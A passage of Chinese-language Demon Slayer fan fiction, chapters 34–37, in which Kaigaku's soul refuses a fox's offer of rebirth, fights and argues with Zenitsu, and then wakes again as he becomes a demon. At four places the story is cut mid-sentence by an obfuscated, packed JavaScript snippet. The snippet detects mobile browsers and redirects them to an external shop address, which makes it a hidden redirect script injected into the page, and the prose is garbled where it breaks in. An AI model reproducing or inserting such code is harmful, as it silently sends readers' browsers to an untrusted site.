他只觉得我妻善逸的眼泪太多了,滴得到处都是,像是要用眼泪把他淹死一样。 这废物应该开心才对,只要他死掉,老师就是他一个人的爷爷,桃山是他一个人的桃山。鬼也死光了,老师不必再培育剑士,我妻善逸可以接他去城里生活,享受余生。 对了,我妻善逸连斑纹都没开,一定能活过25岁,将来也不必靠杀鬼生活,可以安安稳稳找女人结婚、生一堆孩子、热热闹闹活到寿终正寝。 当然,头几年的时候,他们肯定会谈起他,大约我妻善逸会掉几滴眼泪,老师也会叹几口气,唏嘘两声。 然后他们总要继续生活,只有他被留在过去,成为轻飘飘的、越来越模糊的回忆。 真是的,越想越火大。 为什么活下来的是这废物不是他啊。 这废物一点上进心都没有,缺少鬼这样的压力源,一定会懒散度日、一事无成。 这世界真是不公平,这种废物反而能活得好好的,像他这么努力的人却非得去死。他可是努力到用其他人的命来成全自己才坚持到现在的。从数量上看,他也应该更值得活下来吧? 换作是他活下来的话……好吧,他也暂时不知道自己除了杀鬼之外还能做什么,但对他这样好不容易从生死线上挣扎出来的孤儿来说,活着就意味着胜利,死亡就意味着败北。 他只要能一直活下去,就能一直赢。他一定会获得成功,在鬼杀队也好、在其他领域也好……因为他很努力,努力能做成任何事。 然而一个细小的声音提醒他: 即使再努力,你也学不会一之型。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210332|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是下一瞬,他连呼吸都停滞。 “很不甘心吧?” 冥冥中,狐狸的声音响起。 狯岳:“……” 狯岳:“废话。” 他眨了眨眼睛,坐起身,然后站起来,向前迈出一步。 面前是金色皮毛的狐狸,它端坐在他面前,看起来美丽又威严。 身后是我妻善逸,和他怀里正在消散的,狯岳他自己。 ……这画面可真奇妙。 恢复人类模样的狯岳侧过身,看见恶鬼模样的自己一副死相,看见我妻善逸悲痛欲绝,看见悲鸣屿行冥平静释然。 蝴蝶忍眼含热泪,调配药剂的手却没停下,和珠世、愈史郎讨论各种可能有用的搭配;栗花落香奈乎和嘴平尹之助扛起灶门炭治郎,指挥隐在废墟间穿梭,救治伤员;甘露寺蜜璃趴在伊黑小芭内怀里,又哭又笑;不死川兄弟和时透无一郎全累到透支,躺在地上一动不动;鎹鸦在战场上空盘旋,一遍一遍地确认鬼舞辻无惨的死亡和鬼杀队的胜利。 接着,鸟儿向远方飞去,向每个鬼杀队的前队员、协助者飞去,把这个值得庆祝的消息传递出去。 “这次你也蛮倒霉的。”狐狸继续,“只差一点点,就可以参与胜利结算了。你本可以作为英雄活下去。你本可以拥有光明的未来。” “是啊。”狯岳喃喃道,“只差一点点。” “那么,要再来一次吗?” 狐狸提议。 任何人都会想再来一次的吧,离通关只差临门一脚,功亏一篑的狯岳怎么可能不想再来一次? “有好几种选择,比如,你可以提前准备,和珠世、愈史郎打好关系,让他们帮忙研究,切断你和无惨之间的联系。” 这样即使鬼舞辻无惨死掉,他也不必陪葬,还能以英雄身份凯旋。 “比如,在柱训练的时候,避开巡逻任务,这样可以避免变成鬼。” 只要不变成鬼,狯岳就不必冲到最前线,摸鱼划水混到最后,说不定也是个好结局。 “还可以在桃山上重开,甚至倒推到你还在寺庙的时候,”狐狸越说越兴奋,尾巴惬意地摇了起来,“全看你想要怎样的人生。怎么样,很有意思吧?那么,我们来签订契约——” 但出乎狐狸的预料,它听见狯岳微不可闻的声音: “挺没意思的。” 狐狸的尾巴“啪”得一声掉在了地上。 “什么?!” 狐狸以为自己听错了。 不然,总不会是他看错了吧! 刚才那个满心不甘,不想就这样死掉的家伙,不是狯岳是谁?! “……我是说。” 狯岳收回视线,不再看身后的一切,他把身体转过来,面向狐狸。 此时的他,神情疲惫而空茫,和死前不满而愤懑的他,完全判若两人。 “还是……算了。”狯岳蹲下身,伸手抚摸狐狸那身光滑的皮毛,“就这样吧 ” 狐狸目瞪口呆。 难道刚才真的是他看错了?! “你你你,”它甩开狯岳的手,“居然不想再来一次吗?!” 34.第三十四章 狯岳:“啧。” 狐狸:“你你你,为什么要对我咋舌啊?!” “都说了,就这样吧,我不想再来一次了。” “别开玩笑了,把那个无论如何都想活下去的狯岳还给我啊!” “那你直接送我回去,让那个破神器发挥点作用,帮助我现在、立刻,复活!这样不就行了?为什么非得回到过去重开不可?” “呃,因为……”狐狸欲言又止,止言又欲,转移话题:“哎呀,这是特别服务!因为,因为,你现在打出来的这个结局,也不够完美。” “废话,我自己都快死了,美个鬼。” “不是这个!我是说,只做到这种程度就可以了吗,除了你之外,悲鸣屿行冥马上也要死掉了哦?” “……算他倒霉,谁让他一把年纪了还要开斑纹。” “时透无一郎的手也没了!” “我跟他不熟。” “产屋敷夫妻和他们的两个女儿都为了埋伏无惨死掉了!” “更不熟好吗!” 他好歹被时透无一郎训练过,两个人也一起打过黑死牟和鬼舞辻无惨。 产屋敷一家不过是给他发工资画大饼的雇主而已,不会以为他也随大流叫他们一句主公,他就会真的把他们当成主公效忠了吧?不会吧不会吧? 想到这里,狯岳冷哼一声:“你还不如说,很多队士倒霉摔死了,很可怜呢。” “啊,这个没办法,在无限城里打,总有倒霉蛋要摔死的。” “……” “……” “那你说个鬼啊!” “可是,可是,之前炼狱杏寿郎也死掉了,死得好可惜,如果你认识他你也会觉得可惜——” “你都说了,如果我认识他,”狯岳用看白痴的眼神看狐狸,“那是谁?” 他当然听过炎柱的名字,只不过,单方面听过名字而已,就算可惜又如何? 关他什么事啊。 狐狸被噎住了,一时词穷,不知道该说什么好。 “所以,要么赶紧让我复活,要么赶紧让我下地狱,或者随便转生到哪里都行。”狯岳不耐烦地揪狐狸耳朵,“重生这种招笑的事情就不要再说了。” 狐狸……狐狸它全身颤抖,然后炸了毛: “笨蛋!白痴!你明明有那么深的执念,为什么会不想重生?!重生哪里招笑了?!” “哪里都很招笑啊!”狯岳把手收回来,抱在胸口。“我问你,一般什么人会选择重生?” 狐狸稍微平复一下心情:“……一些心有不甘的人,一些……非常后悔的人。” “答案不就出来了吗?”狯岳淡淡地看着狐狸:“临死的时候,我是挺不甘心的。但是,我……” 他顿了顿,郑重其事地宣布: “完全,不后悔。” 仓促之下,他做过很多次选择,很多选择并不完美。 但每一次的选择,他都不后悔。 话音落下,狐狸僵硬了一瞬:“可是,即使不后悔,你也可以回到过去,改变人生。你其实也很喜欢悲鸣屿行冥吧,你难道不想和他好好相处吗?” 狯岳秒答:“不喜欢,不想。” “……” 狐狸不理解,狐狸大受震撼! “你愿意复活,却不愿意重生!可是,继续活下去,和重来一遍,有什么区别?!” “当然有区别,一个是改变过去,一个是创造未来。一不顺心就推倒重来的人生,是没有任何意义的。” 还显得拼命挣扎到现在的他,像个笑话。 “……怎么会没有意义,你不想弥补遗憾吗,你不想有个完美结局吗?!” 遗憾当然有,完美结局……怎样才算是完美结局? 成为鸣柱吗? 可他要是还学不会一之型的话,怎么办? 噢对,现在还多了个废物创造的七之型来着,想想就生气。 或者…… 应该,打从一开始,就父母双全? ……算了吧。 “现在这个结局就……不,”狯岳垂下眼帘,“还是把那个坏结局,还给我吧。” 狐狸后退两步,瞳孔地震:“什么?!” 狯岳轻笑一声,摊开双手,掌心朝上。 “还是把那个一败涂地的坏结局,”他向它索要,“还给我吧。” 那个没有奇迹,没有遇到狐狸也没有神器,等醒过来就已经吃了人,无法回头的坏结局。 那个桑岛慈悟郎得到消息后,切腹成功,害他莫名其妙背上老师命债的坏结局。 那个只能跟着黑死牟一条道走到黑,在无限城中抱着血肉化刀发着呆,被我妻善逸找上门,用火雷神一刀枭首的坏结局。 这,才是他最初的最真实的最想要的,结局。 “……更加难以理解了,”狐狸摇着头,“我还以为,你不知道历史原本的存在。但既然你知道,为什么还会愿意接受那样的结局?!” 狯岳闭上眼睛又睁开: “因为,那就是我,”他似笑非笑,“那才是我。” 他就是那样活下来的,他就是那样死过去的。 “我……是由过去的每一分每一秒构成的。接触过的人,感受过的痛苦,迷失过的路……” 他回顾过往,一路艰辛一路坎坷。喝泥水也好,偷钱也好,出卖他人也好,背叛师门也好,在他面临绝境的时候,没有人会来帮忙,能救他的只有他自己,于是他自己做出决定,并自己承担后果。不管是什么样的后果。这些选择和后果共同造就了现在的他。 他不是故意要变成现在这样子的,是命运故意把他塑造成这样子的。 “我……必须经历我所经历的一切,才能变成现在的我。” 所以,他无论如何,都不会背叛他自己。 “所以,我绝不回头。” 路就在前方,只要一直、一直向前进就好了,把一切都甩在身后,好的坏的通通抛掉。不小心路断了死掉了,那也应该继续迎接新生,而不是掉头回到起点。 狐狸沉默良久,眯起眼睛。 “……原来如此。” “就是这样。” “不是你。” “……啊?” “怪不得,搞错了。充满执念、想要改变过去的灵魂,不是你。一定是他们搞的鬼!” “……你在说什么?” 就在此时,“咔嚓”一声。 像是有什么东西被打破,又像只是错觉而已,眼前的景象忽然模糊了一瞬。 然后,又闪起了雪花点,还似乎出现了裂缝,看得狯岳怀疑起了自己的眼睛,试探性地抬起手—— 下一刻,视野像镜子一样碎裂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215226|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一只手从破碎处伸出,猛地抓住他的手腕! 随之而来的金色,映照在他的眼瞳当中。 金色的长发,金色的羽织。那张熟悉又陌生的脸庞上,爬着雷纹般的裂痕。 由他的血鬼术,造成的裂痕。 “我妻善逸?!” 狯岳条件反射式拧紧眉头。 这家伙,看起来比他印象中的他更高、更成熟,难道,他们所处的时间不对等吗? “你为什么在这里,你到底——” “狯岳才是。”我妻善逸的声音听起来也变低沉了,另一只手也抓了上来,握住他的肩膀,“又在……被奇怪的东西骗。” 狯岳额角迸出青筋:“哈啊?!你这是什么口气!我又没答应什么,”不对,“你凭什么管,”也不对,“反正你……咦?” 他越过我妻善逸的肩膀,看见了另一只眼泪汪汪的狐狸。 “……梨花?!” “呜哇——狯岳!你没事吗?你没事吧!”狐狸哭的稀里哗啦,简直我妻善逸第二,看得狯岳鸡皮疙瘩都起来了,“都怪我,没注意,不小心被时间溯行军抓住了!” 狯岳:“……” 他看向之前一直对话的另一只狐狸,就见那只狐狸身上泛起一阵涟漪,变成了一只毛色漆黑的玄猫。 以及,眼睛是绿色的,和他一样。 狯岳喃喃道:“好像猫还是更可爱一点。” 狐狸:⊙口⊙!!! “怎么这样!明明是我比较可爱!”狐狸简直晴天霹雳,“而且它好坏的,就是因为它乱说话,才害你被童磨、黑死牟的血污染了身体,你本来可以在决战中活下去的!” 闻言,狯岳立刻看向黑猫,黑猫若无其事地把脑袋转开,“喵”了一声。 狯岳:“那是很坏了。” 狐狸更气了:“你这是什么语气!” ……反正就,不太生气的语气。 狯岳转移话题:“如果你不被抓走,会怎样?” 狐狸狠狠瞪了黑猫一眼:“如果我不被抓走,原本要给你带一管苏芳的血,你体内无惨的血就会被进一步稀释,最后时刻只要再注射变人药,副本里的你就能活下来了……呃,你们不要打架啊!” 狯岳怒:“是这废物在找我麻烦!” 一开始,他就试图让我妻善逸放开他,但我妻善逸就是不放,还动手动脚,一边嘀咕“狯岳你怎么变这么小了”,一边用手掌比他的脸,比完之后还捏他的耳朵——有病吧他! “对不起,但你有历史原本的记忆,对吧?”我妻善逸轻松挡下他扇来的巴掌后,另一只手握拳,揍向他的腹部,把他打得弓起身体,脸色铁青。“如果你只有副本的记忆的话,我是不会这么粗暴的。你留给我的伤疤,到现在都还在痛呢。” 狯岳想说活该,但痛得一个字都说不出来。 接着,我妻善逸解开发绳,绑住他的双手,然后把他抱进怀里,像在安慰孩童一般,轻轻抚摸他的腹部:“拜托你,乖一点,好不好?” 两个人贴得很近,我妻善逸的长发垂落下来,笼罩住狯岳的脸。于是仿佛世界也变小了,小到只有他们两个,连呼吸都纠缠在一起。 ——这算什么,这算什么?! 狯岳整个人快要气炸,甚至到了头晕目眩的地步。 ——我妻善逸,你怎么不去死?! 35.第三十五章 狐狸不安地缩了缩:“善逸,不要欺负狯岳啊。” 我妻善逸仍然专注地盯着怀里的狯岳:“可是,是狯岳先欺负我的吔?” 狯岳:哈啊?! “明明是你把那孩子的头砍下来的,”黑猫的声音响起,像铃铛一样清脆悦耳,“就不要在这惺惺作态了,很恶心。” 狯岳:说得好! 然而我妻善逸反驳:“本来就是狯岳的错,从来不肯好好说话,什么都要我来猜。就算猜错了也不指正,任由事态恶化到无可挽回的地步——” “挽回?!”狯岳冷笑出声。“没有什么好挽回的,你这种废物也挽回不了任何东西。” “——就是这个,根本不打算沟通,只是一味发脾气而已。这张嘴巴真的太坏了,对吧?简直像鬼一样恶劣。” 我妻善逸说着,竟然用手指挤进他的唇瓣,一点点摸他的牙齿:“咦,没有尖牙……没有变成鬼,还是人类的样子,真好。” 狯岳刚蓄力打算咬下去,就被我妻善逸眼疾手快地避开,牙齿重重相撞,咯咯作响。 “当然是人类的样子,灵魂会以本质的模样显现,而鬼的本质,也是人。”狐狸接上话头。“黑巩膜、尖牙、尖耳、鬼纹……这些都是身体的排异反应而已。” “骗人的吧。”我妻善逸把手放在狯岳的脖子上。“鬼怎么会是人。至少,狯岳不是人吧。” 狯岳:“……” 狯岳:“哈?!” 什么叫做“至少”?! “刚才的对话,我都听到了。很明显,狯岳已经没有了人性。”我妻善逸的手指沿着绑着勾玉的细绳移动。“固执己见,死不悔改,连重生这样的机会都能轻易放弃。如果你肯重生的话……其他人就算了,起码,爷爷可以活下来,不是吗?” 狯岳冷笑一声:“我永远只会为我自己而行动。既然我连自己都不想改变,为什么要去改变那个自己找死的老头子?!” “……果然,狯岳是人渣啊。” 我妻善逸的手指勾住细绳,向外拉扯、收紧,勒得狯岳喘不过气来。 原来灵魂也能呼吸、受苦……和活着的时候,没有区别。 但这也是理所当然,不然有关地狱的传说中,那些骇人听闻的刑罚就没有存在意义了。 温热的水滴从上方掉了下来,洒在狯岳的脸上,他不用看就知道,那是我妻善逸的泪水。 哭哭哭,有什么好哭的!快要被勒死的又不是你! 灵魂应该死也死不掉吧? 狯岳不确定地想,但还是本能地挣扎起来,眼前一阵发黑。 濒死的感觉实在可怕,他还没有习惯……恐怕永远不会习惯。 耳边是狐狸的尖叫,它在呼吁我妻善逸冷静,然后我妻善逸受到外物干扰,松开了他。 狯岳摔在地上,剧烈地咳嗽着大喘气,模糊的视线中,黑猫正对着我妻善逸又抓又挠。 “住手!你想救的人,你自己去救啊!”黑猫挡在狯岳身前,还抽空瞪了狐狸一眼,再向我妻善逸发出邀请:“虽然我不喜欢你,但如果你愿意重生的话,机会也可以给你。” “不许诱惑善逸!”狐狸急了,“善逸是个好孩子!他只是……只是受到了刺激!” “受到了狯岳这个坏孩子的刺激,是吗?” “……不是!” 狐狸本来很紧张,担心自己无法应对黑猫接下来的挑拨离间,但黑猫的下一个问题是: “这个善逸,几岁了?” “……啊?哦,”狐狸眨了眨眼睛,“二十六岁了。” “连炭治郎都死掉了,所以再也忍耐不了,找狯岳发疯呢?” “……” “……” “……你!你!你!”狐狸勃然大怒,“你太过分了!” “不然,我想不出,你为什么会忽然想起他来。”黑猫后退几步,窝进缓过来的狯岳怀里,咬掉绳结,帮他解开双手。“你才是幸存者。你才是拥有未来的那一个。你才应该不回头,继续前进才对。” “什么叫忽然想起来,我一刻都没法忘掉他啊。”我妻善逸把手放在自己脸部的伤痕上。“因为狯岳不肯放过我,所以这些伤痕一直留在我身上,不能痊愈。简直像诅咒一样,害的我无法忘记过去,继续前进。” 狯岳:…… 狯岳:………… 他摸了摸下巴,嘴角憋不住地上扬:“哇哦,我的血鬼术这么有用的吗?” 黑猫&狐狸:^=_=^。 黑猫:“怎么可能有用。” 狐狸:“就是。什么样的血鬼术在鬼死掉之后还能持续十年之久——” 但我妻善逸无视它俩,用胜利的语气宣布:“看吧,都是狯岳的错,所以他必须负起责任来!” 狯岳立刻反驳:“谁让你这么废物,这种血鬼术都克服不了!不如早点应咒去死吧!” “哇,你人都死了还讲这种话,真是人渣中的人渣!” “那你都活了这么久还这么废,就是废物中的废物!” “呵呵,我是废物的话,那死在废物剑下的你岂不是比废物更废!渣滓吗!” “那、那次只是一时大意而已,我认真起来的话早就把你电成一团焦炭了!” “你那时候的血鬼术哪有那么强!明明是你剑技太弱了,速度也太慢!” “弱个鬼,那你是喜欢单方面挨打吗,啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222513|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果不是最后那下我没躲,你速度快有个屁用啊!” “那你为什么不躲呢?嗯?其实是躲不开吧,还固执地以为我这种人不可能赢过你!” 话音落下,恼羞成怒的狯岳挥舞着拳头揍了上去,我妻善逸也立刻还手,两个人毫无章法地打成一团。 掐脸颊、扯头发……两个人像是完全不懂武技的小孩子一样扭打。 但是狯岳越打火越大——很明显,我妻善逸在让着他,不怎么用力,防御也多过进攻,像……像大人让着小孩子一样! 当他意识到这一点,动作也随之迟疑,我妻善逸居然抓住空隙,咬了一口他的手指! ——居然用牙齿,到底谁才是鬼啊?! 顶着他震惊的目光,我妻善逸眼神游移了一下,赌气似的,又在他手腕上咬了一下。 狯岳猛地抽回手,但我妻善逸伸脚一勾、一绊,于是他失去平衡,向后栽倒。 接着,我妻善逸就抱了上来,把他拉进怀里,那颗毛茸茸的金色脑袋搁上他的肩窝,呼吸喷在他的后颈上,微微发痒。 ……妈的,脖子也被咬了一口。 咬就咬,咬了半天不干脆咬破、也不放开是几个意思? “善逸,你……不是,”狯岳本能地瑟缩了一下,对此感到迷茫,“你到底,想干什么?” 我妻善逸舔了舔牙印:“我不知道。” “哈啊?!你这废物——” “都说了,我不知道!我什么都不知道,你什么都不跟我说!” 狯岳感觉自己的肩膀湿了。 是我妻善逸,又在掉眼泪? ……为什么啊。 “我——我不知道的东西太多了,”我妻善逸没有像以往那样拼命喊,而是在他的耳边厮磨,一字一句,咬牙切齿: “不知道你的过去,不知道你喜欢什么讨厌什么——除了讨厌我之外——不知道你遇到多少危险,闯过多少难关,如果不是这次的历史副本,我连你遇到了上弦一都不知道。 “我只知道你的背影,只知道你总是发出不满的声音,只知道你一直努力,想要当上鸣柱,却突然有一天变成了鬼。我只知道…… “我恨你。 “恨你不认可我。恨你变成了鬼。恨你害死了爷爷。这些年来,我总想不通,你为什么要变成鬼,总觉得是不是我做错了什么,里面会不会有什么误会。 “到现在,知道真实情况之后,我就更恨你了。我控制不住会想……如果,如果,你在那天晚上死在上弦一手里就好了。这样我就只要为你哭,为你复仇就好了。这样我就可以心安理得地活下去,不必……不必…… “去恨那个,杀掉你的我自己。” 36.第三十五章 话音落下,狯岳睁大眼睛,一句话都说不出来。 良久,才开口道:“你有病啊!” 我妻善逸:“……” 我妻善逸:“狯岳!” “应该是我恨你才对吧!”狯岳难以置信,“是你砍掉了我的头,而不是反过来!为什么我非要去死不可?!” 他猛地把我妻善逸推开,双手下意识摸上了自己的脖子。 系着勾玉的绳子下方浮现出一条红色的血线,那是我妻善逸的刀曾经贯穿过的痕迹。 “我好不容易才活下来,抛下拥有的一切,成为叛徒才活下来……然后就被你杀死了。是你夺走了我仅剩的生命,还打着为老师报仇的旗号!既然你已经杀了我,怎么还好意思在我面前说这种话,好像——好像你后悔了一样!” 但我妻善逸用空洞而悲伤的眼神看着他: “我是后悔了呀。” “……” “……” “……你真的后悔了?后悔杀了我?”狯岳觉得不可思议,“老师都切腹死掉了,你还想继续玩这套家人游戏?!不是已经说了断绝关系的话吗?!你疯了?!你应当恨我——且只有恨我才对!” 而我妻善逸的恨当中,夹杂着别的、让他本能感到恐惧的,无论如何不想碰触的东西。 我妻善逸却说:“桃山太大了。” “……什么?” “第一次被爷爷带回桃山的时候,我就觉得,桃山太大了。山路又长又远,光走上去就累得要死。” “……” “在无限城……做了那件事之后,我回了一趟桃山,处理后事。只有我一个人的桃山实在太空旷、太可怕了,我怕到整夜整夜都睡不着。太安静、太陌生了,简直像……像一座巨大的坟。而我被活埋在里面。” “……” “所以,不等你的墓碑立好,我就逃走了,逃去和炭治郎他们待在一起,假装什么事都没发生过。然后……再也没有回过桃山。” “……” “没有爷爷、没有你的桃山……不是我的家。” 我妻善逸的眼泪又掉下来了。 已经是成年人了。已经不会像小孩子一样嚎啕大哭了,只是静静的流眼泪,让泪水在脸上流淌成河。看上去好委屈好伤心好可怜。 ……个鬼。 “你这个人……还真是,以自我为中心啊!” 狯岳从牙缝里把这句话挤出来。 我妻善逸:“……唉?” “因为你想要家人,所以死缠烂打粘过来,不管我拒绝了多少次还装听不懂。因为老师擅自去死,所以一切都是变成鬼的我的错,又自顾自和我断绝关系,一定要杀了我。因为你害怕寂寞,所以又因为这种,这种恶心的理由后悔——你也该适可而止了吧!” 我妻善逸:^=皿=^。 我妻善逸:“我话都说到这份上了,你怎么还这么铁石心肠啊!一点感动都没有吗!” “我只觉得恶心——我可是被你杀掉了,我恨不得杀了你啊!有点自知之明好不好,不要对我撒娇!我才不会惯着你!” “是是是,所有人里,你对我最不好!不管我做什么你都不高兴!但那又怎样,我只想回到桃山而已啊!” 回到那个,有爷爷有狯岳,被他称为“家”的桃山。 爷爷……爷爷一定不会反对,只有狯岳,这个一心向前走、把他们当累赘抛在身后的笨蛋大哥会不屑一顾。 我妻善逸收敛情绪,阴测测地盯着狯岳,就见狯岳那张讨厌的破嘴一张一合,说着什么“回不去了”、“不要做梦了”,这种让人不高兴的话。 没关系,他可以当没听见。他很擅长这个。 “那场战斗,是我赢了。狯岳。是你输了。就算你不愿意承认,这也是事实。”他擦干眼泪,脸上的皲裂的伤痕随之抽痛不已。“那么废物的我,赌上性命才赢过你……我应该得到奖励,对吧?一条命换一条命,你的命应该是我的,你应该是我的战利品才对。” 简而言之: “狯岳,你是我的。”我妻善逸宣布,“我才不会放过你。” 于是,狯岳那张本就五味杂陈的脸上,露出了一言难尽的扭曲表情。 “真有意思。” 黑猫嗤笑一声,扭头看向狐狸: “执念深重,想要改变过去的灵魂……不是狯岳,是善逸。” “啊……嗯。” “你家审神者开个历史副本出来,本是为了消除善逸的执念,对吧?” “……对。” “善逸脸上的伤痕,早该痊愈了。不是狯岳的诅咒,而是他自己的执念困住了他自己。” “……是。” “哟,伤痕裂了,开始流血了。执念加深了吔。” 狐狸:^=_=^。 狐狸:真见鬼。 初次见到我妻善逸的时候,他在灶门炭治郎的葬礼上哭得稀里哗啦,眼睛几乎要哭瞎,还需要同样悲伤的遗属额外照顾。 这样一个哭哭啼啼的、爱撒娇的、怎么看怎么不靠谱的家伙,虽然爆发出了引起系统警告级别的执念,但考虑到他软糯的性格,本该很好应付才对…… 然后就,完啦,出岔子啦。 到底是手握斩杀上弦六战绩的鬼杀队队士,不是简单货色。 “哦豁,狯岳的怨念也上来了。”黑猫嘲笑道:“搞了半天,不仅善逸的执念没解决,连狯岳都被惹毛了。” “说什么风凉话!还不是因为你乱来!” “我不乱来,还能是时间溯行军吗?” “你滚!” “就不。虽然我和善逸相性一般,但考虑一下,把他让给我怎样?反正这个历史副本里,狯岳死掉了,善逸不会满意,副本不能覆盖原本,转为正本。” “不不不不行!”狐狸连连摇头,“才不会把善逸交给你!如果不是你从中作梗,狯岳活下去的话,和善逸之间的芥蒂就会随着时间过去消失,这个副本就可以转为正本了!” “你想得也太天真了,他们两个不是一路人,那样是解决不了问题的。” 黑猫冷笑一声,对狯岳喊话: “喂,听到了吗?”它眯起眼睛,“某种意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228339|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义来说,你的确是善逸的东西。如果不是他执念太深,你不可能站在这里。” 狯岳:“……” 狯岳:“…………” 这猫是故意的!绝对! “很恶心吧,要沾那个废物的光?”黑猫继续,“没办法,谁让你有点天赋,却是个半吊子、不够用呢,不管是生前还是死后。” 不等狯岳反应过来,我妻善逸的脸先黑了:“喂,你——” “和天赋相比,努力是没有用的。没天赋的人只配给有天赋的人当垫脚石。”黑猫无视了我妻善逸,只盯着狯岳。“你……就是上天设计给善逸的垫脚石而已。” “不对!”狐狸急了,“这样的设计绝不是为了让谁去垫谁——明明这么有缘分的事情,明明可以成就一段兄弟并肩作战的佳话——” “你的意思是,不顺应上天期待的狯岳错了吗?” 狐狸哑然。 “善逸,你在副本里说得不是挺好?”黑猫瞥了一眼旁边把刀都拔出来了的我妻善逸,“狯岳不是非得回应你的期待不可。” “可我也同样说过,”我妻善逸歪了歪头,“既然我搞不懂狯岳想要什么……那就先按照,我想要什么来。” 他想要的东西不多——反正肯定比狯岳要的少很多。一点点拥有就能让他高兴起来。 毕竟,他是很容易就能得到满足的人,胸无大志,得过且过,人生最大的愿望就是和女孩子结婚,有一个属于自己的家…… 直到被爷爷带上桃山,介入人和鬼之间的争斗为止。 不用和女孩子结婚,他就有了一个家。有了无论如何都不会放弃他的爷爷,有了不喜欢他,却无法拒绝他的大哥。 狯岳是个很出色的剑士,爷爷对他很满意,总让他向他学习。他也很尊敬狯岳,他是他见过最自律、最努力、最坚定的人,身高腿长胸大腰细哪哪都好……除了不喜欢他这一点不太好。 如果狯岳不喜欢他,一定是他哪里做的不够好——很长一段时间里,他一直这么觉得。 ……即便他亲手把狯岳的脑袋砍下来之后,也这么觉得。 战后的日子,平凡又温馨。 没有训练,没有死斗,没有鬼带来的危险。小主公给了他们一大笔钱,使他们得以无忧无虑地生活。 而他却无法做到无忧无虑。 桃山开始频繁出现在他的梦里。他梦见那里的一草一木,梦见春夏秋冬,梦见清风冷月。他以为自己恨死狯岳了,以为自己绝对不会想再见到他了…… 但在瞥见他的背影时,梦中的自己,不顾一切地追了上去。 有很多问题想问,有很多话想说,却在伸出手时,连他的衣角都碰不到。 一次又一次,他从来没有追上过,只能远远凝视着他的背影,任凭思念的情绪搅动心脏。等醒过来才发现,自己已经泪流满面。 “都是狯岳的错。害我没有了家。害我的头脑变得奇怪了。”我妻善逸竟微笑起来,向狯岳摊开手。“你必须赔我。我会一直追着你。不管是地狱还是来世,我一定会追过去。你永远、永远别想甩开我。” 37.第三十七章 ……然后就被甩开了。 黑猫发出一声刺耳的嘶鸣,于是世界被切割开来,碎成两半,狯岳在这边,我妻善逸在那边。 “我还是比较喜欢你。”黑猫在狯岳的面前蹲下,“就算你对改变过去没兴趣也没关系,到我这边来吧。” 狯岳没有第一时间回应,他错开视线,看见我妻善逸向他伸出手,但污秽的瘴气从裂隙中喷涌而出,遮蔽了视线遮蔽了天地。 那家伙肯定说了什么,但什么都没有传到他耳边。 然而,狐狸的声音顺利传了过来: “不许!” 巨大的冲击发生,霎时间淹没所有的感官。失去意识的瞬间,他仿佛瞥见了一抹奋不顾身的金黄色。 ……不是,还真追过来了啊! 然而,等狯岳再次睁开双眼。 事情又回到了原点。 周围死一地的同僚,飘然远去的黑死牟,饮下鬼血正在蜕变的他。 “呃……出了点状况。”黑猫若无其事地探过脑袋。“我本只想把你带走,但善逸想要重生的愿望和溯行军的本职发生了共鸣,冲突之下,审神者留下的保险手段就是……重启。” 狯岳……狯岳完全没听到。 他只蜷缩在地上,因为剧烈的疼痛痉挛着,无法动弹。 窒息,然后失去意识,然后再被疼痛唤醒。 鬼血和呼吸法在他的身体里互相绞杀,终究是前者占了上风,一点点侵蚀、改变了他的质地。 ——发生了什么? 他正在向鬼转变。 ——他该干什么? 找个晒不着太阳的地方躲起来。 本能驱使他爬向一旁破败的空屋——万幸他居然还爬得动——又或者是上一次的经验,让他对痛苦的耐受程度变高了。 呃……上一次……上一次…… 哪里会有什么上一次? 狯岳摇了摇脑袋,想把里面的水倒出来,却只让自己更加头痛欲裂。 没有什么上一次,大约是一种叫做“既视感”的东西吧,受伤去蝶屋休养的时候,他听那些叽叽喳喳的女孩子们讨论过。 人的大脑偶尔会出错,会产生似曾相识的幻觉…… 